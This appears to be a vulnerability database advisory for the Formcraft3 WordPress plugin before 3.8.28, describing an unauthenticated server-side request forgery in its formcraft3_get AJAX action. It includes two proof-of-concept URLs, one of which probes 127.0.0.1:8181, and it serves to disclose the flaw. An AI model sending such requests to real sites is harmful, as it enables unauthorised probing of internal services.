WordPress Plugin Vulnerabilities
Formcraft3 < 3.8.28 - Unauthenticated SSRF
Description
The plugin does not validate the URL parameter in the formcraft3_get AJAX action, leading to SSRF issues exploitable by unauthenticated users
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://wpscan.com https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://127.0.0.1:8181
Affects Plugins
Fixed in version 3.8.28
References
Classification
Miscellaneous
Original Researcher
Brandon James Roldan
Submitter
Brandon James Roldan
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-02-28 (about 1 years ago)
Added
2022-02-28 (about 1 years ago)
Last Updated
2022-04-08 (about 11 months ago)